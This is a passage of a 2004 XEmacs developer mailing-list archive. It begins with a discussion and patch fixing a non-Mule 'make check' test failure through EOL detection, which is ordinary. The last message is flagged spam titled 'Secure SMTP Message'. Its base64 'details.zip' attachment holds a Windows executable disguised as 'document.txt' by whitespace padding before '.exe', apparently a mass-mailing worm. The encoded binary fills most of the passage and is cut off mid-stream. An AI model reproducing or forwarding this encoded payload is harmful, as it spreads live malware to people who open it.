However, the doc string for eol-detection-enabled-p (at the top of code-init.el) says: True if XEmacs automatically detects the EOL type when reading files. Normally, this is always the case on Windows or when international (Mule) support is compiled into this XEmacs. Otherwise, it is currently off by default, but this may change. Don't set this; nothing will happen. Instead, use the Options menu or `set-eol-detection'. Therefore the test should fail on non-Mule Unix boxes and should pass on non-Mule cygwin and Windows machines. Indeed setting a breakpoint at file-coding.c:3137 and looking at the values of data->actual will show that EOL detection is set to LF instead of AUTODETECT by the time the string is processed. Looking at the version of tests.c in 21.5.5 (ie before the merge) shows that this test was only run if FILE_CODING is defined. I guess that Ben removed the ifdef but forgot to handle cases where detection might be turned off. The experimental patch below enables automatic EOL detection just before the test is run and with it a non-Mule build will pass all 'make check' tests. Before I do more testing and turn it into a patch for submission, can anyone confirm that I'm on the right track and that modifying tests.c is the right way to go? Should EOL detection be enabled by default on UNIX instead? Thanks, Malcolm Index: lisp/code-init.el =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/lisp/code-init.el,v retrieving revision 1.7 diff -u -r1.7 code-init.el --- lisp/code-init.el 2003/09/19 16:32:57 1.7 +++ lisp/code-init.el 2004/04/30 13:06:46 @@ -54,10 +54,10 @@ default, but this may change. NOTE: You *REALLY* should not turn off EOL detection on Windows! Your files will have lots of annoying ^M's in them if you do this." - (dolist (x '(buffer-file-coding-system-for-read + (dolist (x '(buffer-file-coding-system-for-read default-buffer-file-coding-system keyboard default-process-coding-system-read - no-conversion-coding-system-mapping)) + )) (set-coding-system-variable x (coding-system-change-eol-conversion (get-coding-system-variable x) (if flag nil 'lf))))) Index: src/tests.c =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/tests.c,v retrieving revision 1.9 diff -u -r1.9 tests.c --- src/tests.c 2003/09/30 15:26:59 1.9 +++ src/tests.c 2004/04/30 13:06:49 @@ -34,8 +34,8 @@ #include "opaque.h" static Lisp_Object Vtest_function_list; +static Lisp_Object Qset_eol_detection; - DEFUN ("test-data-format-conversion", Ftest_data_format_conversion, 0, 0, "", /* Test TO_EXTERNAL_FORMAT() and TO_INTERNAL_FORMAT() */ @@ -357,6 +357,8 @@ intern ("no-conversion-unix")); DFC_CHECK_DATA_COND_EOL_NUL (ptr, len, ext_unix, int_foo); + call1(Qset_eol_detection, Qt); + TO_INTERNAL_FORMAT (LISP_OPAQUE, opaque_dos, LISP_BUFFER, Fcurrent_buffer(), intern ("undecided")); @@ -493,6 +495,8 @@ TESTS_DEFSUBR (Ftest_data_format_conversion); TESTS_DEFSUBR (Ftest_hash_tables); /* Add other test functions here with TESTS_DEFSUBR */ + + DEFSYMBOL(Qset_eol_detection); } void -- Malcolm Purvis Q: Why did the chicken cross the Mobius strip? A: To get to the other... uh... err... From xemacs-beta-admin@xemacs.org Fri Apr 30 10:37:14 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3UEb1s20436; Fri, 30 Apr 2004 10:37:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3UEac020065 for xemacs-beta-mailman@xemacs.org; Fri, 30 Apr 2004 10:36:38 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3UEabx20046 for turnbull@tux.org; Fri, 30 Apr 2004 10:36:37 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3UEaTs19892; Fri, 30 Apr 2004 10:36:29 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BJZ7s-0005wk-00; Fri, 30 Apr 2004 23:36:28 +0900 To: Malcolm Purvis Cc: xemacs-beta@xemacs.org Subject: Re: The cause of the non-Mule 'make check' failure found. References: Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Fri, 30 Apr 2004 23:36:27 +0900 In-Reply-To: (Malcolm Purvis's message of "Fri, 30 Apr 2004 23:42:51 +1000") Message-ID: <87pt9ph6s4.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Malcolm" == Malcolm Purvis writes: Malcolm> Therefore the test should fail on non-Mule Unix boxes and Malcolm> should pass on non-Mule cygwin and Windows machines. Malcolm> Indeed setting a breakpoint at file-coding.c:3137 and Malcolm> looking at the values of data->actual will show that EOL Malcolm> detection is set to LF instead of AUTODETECT by the time Malcolm> the string is processed. OK, that's done by the initialization code, apparently. Malcolm> modifying tests.c is the right way to go? Yes, IMO. Malcolm> Should EOL detection be enabled by default on UNIX Malcolm> instead? No. That can be discussed, but there were a lot of people who opposed that step when it last came up. Anyway, tests should not depend on whether the user has futzed with set-eol-detection. Let's fix the test failure by forcing the execution environment to a known value. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From rown@easternsavingsbank.com Fri Apr 30 11:27:40 2004 Received: from yxa.extundo.com (178.230.13.217.in-addr.dgcsystems.net [217.13.230.178]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3UFRcs08518 for ; Fri, 30 Apr 2004 11:27:39 -0400 Received: from xemacs.org (modemcable022.146-201-24.mc.videotron.ca [24.201.146.22]) by yxa.extundo.com (8.12.11/8.12.11) with ESMTP id i3UFRWbZ002690 for ; Fri, 30 Apr 2004 17:27:33 +0200 Message-Id: <200404301527.i3UFRWbZ002690@yxa.extundo.com> From: rown@easternsavingsbank.com To: xemacs-beta-archive@xemacs.org Subject: Re: Secure SMTP Message Date: Fri, 30 Apr 2004 11:18:43 -0700 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0016----=_NextPart_000_0016" X-Priority: 3 X-MSMail-Priority: Normal X-Spam-Flag: YES X-Spam-Status: Yes, hits=8.4 required=5.0 tests=BAYES_70,MIME_BOUND_NEXTPART, MISSING_MIMEOLE,NO_REAL_NAME,PRIORITY_NO_NAME,RCVD_IN_DYNABLOCK, RCVD_IN_SORBS autolearn=no version=2.63 X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on yxa.extundo.com This is a multi-part message in MIME format. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Delivered message is attached. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: application/octet-stream; name="details.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="details.zip" 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 